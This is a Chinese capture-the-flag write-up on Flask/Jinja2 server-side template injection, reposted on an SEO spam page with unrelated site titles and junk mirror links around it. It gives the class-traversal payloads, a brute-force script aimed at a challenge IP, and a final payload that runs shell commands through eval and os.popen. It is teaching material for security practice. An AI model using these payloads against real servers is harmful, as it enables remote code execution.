当前位置: 首页 > wzjs >正文

小型网站运营萧山人才网手机版

小型网站运营,萧山人才网手机版,郑州厉害的seo顾问公司,宠物网站页面设计模板这个题很简单,主要是记录一下,做题的原理: 打开环境,提示我们用flag传参,然后我们需要判断是什么模板: 这里有一张图片,可以帮助我们轻松判断是什么模板类型:这个图片找不到出处了&…

这个题很简单,主要是记录一下,做题的原理:

打开环境,提示我们用flag传参,然后我们需要判断是什么模板:

这里有一张图片,可以帮助我们轻松判断是什么模板类型:这个图片找不到出处了,这里就不@作者了。

我们进行通过传参来判断到底是什么类型的模板,这里我们已经判断出是Jinjia2引擎,然后我们就需要构造payload看一下配置文件:

{{config}}

这里有时出题人会将flag藏到这里,这一关没有放到这里,我们接着就是要按照一般解题思路进行解题:

变量 -> 对象 -> 基类 ->子类遍历 -> 全局变量

在这个流程种找到我们想要的模块或者是函数。

首先我们先获取object对象:

#获取object对象:
''.__class__.__mro__[1]
{}.__class__.__bases__[0]
().__class__.__bases__[0]
[].__class__.__bases__[0]

然后获取所有有用的class:

''.__class__.__mro__[2] .__subclasses__()
{}.__class__.__bases__[0].__subclasses__()
().__class__.__bases__[0].__subclasses__()
[].__class__.__bases__[0].__subclasses__(){{ [].__class__.__bases__.__subclasses__()}}
{{ ''.__class__.__mro__()[1].__subclasses__()}}
{{ ''.__class__.__mro__[2].__subclasses__() }}

然后就需要我们去找到重载过的__init__类:

在获取初始化属性后,带wrapper的说明没有重载,寻找不带warpper的,因为wrapper是指这些函数并没有被重载,这时它们并不是function,不具有__globals__属性。

也就是说我们只有找到了被重载过的__init__类才能找到__globals__属性,然后才能继续下一步。这里我写了一个脚本来判断:

import requests
import time
import html
for i in range(0,300):time.sleep(0.06)payload="{{''.__class__.__mro__[1].__subclasses__()[%s]}}" % iurl='http://117.72.52.127:17751/?flag='r=requests.get(url+payload)if "os._wrap_close" in r.text:  #//这里可以是os._wrap_close也可以是catch_warnings,这样就会输出对应的索引print(r.text)print(i)break

这里的脚本就是要寻找那些有回显的或者可以执行命令的类,大多数利用的是os._wrap_close这个类,也有catch_warnings.这样我们就能获取到对应的索引,然后这里这个题我用到的是catch_warnings。找到对应的索引是177,然后构造payload为:

?flag={{''.__class__.__mro__[1].__subclasses__()[177].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('cat fla*').read()")}}

这里找到索引后,调用它的__init__方法进行初始化类,然后再调用__globals__获取到方法内以字典的形式返回的方法、属性等。

这里就可以去利用__builtins__模块,它里面有eval()等函数,我们可以也利用它来进行RCE。

最终构造的payload就是上面的payload。执行过后就可以得到flag。

这是一些比较好的SSTI的文章,我也从这里学到了很多:

FLask SSTI从零到入门 - 跳跳糖

详解Flask SSTI 利用与绕过技巧V2 - FreeBuf网络安全行业门户


文章转载自:

http://gIwOmVyO.pwrkL.cn
http://aaKsQRSv.pwrkL.cn
http://oV6qvMjX.pwrkL.cn
http://LCj1QBOP.pwrkL.cn
http://G44ZxX9N.pwrkL.cn
http://rCpq8ron.pwrkL.cn
http://qBk8UtRy.pwrkL.cn
http://IYELSz5Z.pwrkL.cn
http://mMXTA4c8.pwrkL.cn
http://wllls9e0.pwrkL.cn
http://I510wlNO.pwrkL.cn
http://qUU5nmWm.pwrkL.cn
http://k0ewTuKL.pwrkL.cn
http://dnWH0VJg.pwrkL.cn
http://k10Vy5v6.pwrkL.cn
http://2bVhDYsO.pwrkL.cn
http://UJBqMS8i.pwrkL.cn
http://KeW5DfdL.pwrkL.cn
http://Vi5wtXbk.pwrkL.cn
http://YX3Hj26z.pwrkL.cn
http://FtWP7xFw.pwrkL.cn
http://MzbUxMpd.pwrkL.cn
http://7egrnK1l.pwrkL.cn
http://EXXzreX3.pwrkL.cn
http://1ITVTDfC.pwrkL.cn
http://FPzdeFmc.pwrkL.cn
http://L55QWogB.pwrkL.cn
http://zrwbVcpw.pwrkL.cn
http://54eL6xja.pwrkL.cn
http://0a4zLbwt.pwrkL.cn
http://www.dtcms.com/wzjs/668232.html

相关文章:

  • 温州营销网站制作报价专业做推广的公司
  • 美团网站制作的特色承德网站制作公司哪家好
  • 做网站群无锡seo推广优化
  • 如何让网站自适应百度seo和sem的区别
  • 电话销售企业网站怎么做wordpress 批量修改文章分类
  • 外贸网站建设基础公司做网站的费用属于什么费用
  • 大连网站建设仟亿萝卜建站
  • 响应式网站设计规则cf网站编程
  • vps建立多个网站做网站连带责任
  • 淘宝做短视频网站网站流量下滑
  • 全国网站建设公司排名海口企业建站系统模板
  • 做自己的网站需要会编程吗成都个人网站建设
  • 手机做网站教程创建网站的成本
  • 公司网站页面加密怎么制作网站详细教程视频
  • 城乡厅建设部网站首页中国空间站太小了
  • 做淘宝电商比较厉害的网站世界做火的游戏视频网站
  • 做英文网站 是每个单词首字母大写 还是每段落首字母大写中山做网站的大公司
  • 网站通内容管理系统有什么做数据的网站
  • 二手交易平台网站的建设动漫制作专业大一需不需要买电脑
  • 广州市增城区建设局网站是什么什么是理财北京网站建设公司好
  • 企业网站设计的方案企业网站咋做
  • 金华网站建设公司哪家好网站建设好友
  • 电商网站成品案例什么是网络营销的概率
  • 网站开发可能性分析wordpress 获取文章
  • 快递业务服务网站建设的需求分析wordpress 添加统计代码
  • 百度不收录网站文章上海做高端网站
  • 杭州教育网站建设广州做网站mxszpt
  • 商丘旅游网站的建设农产品网络营销的概念
  • 高校门户网站的建设信息流推广渠道有哪些
  • 网站建设思路塘沽网站建设公司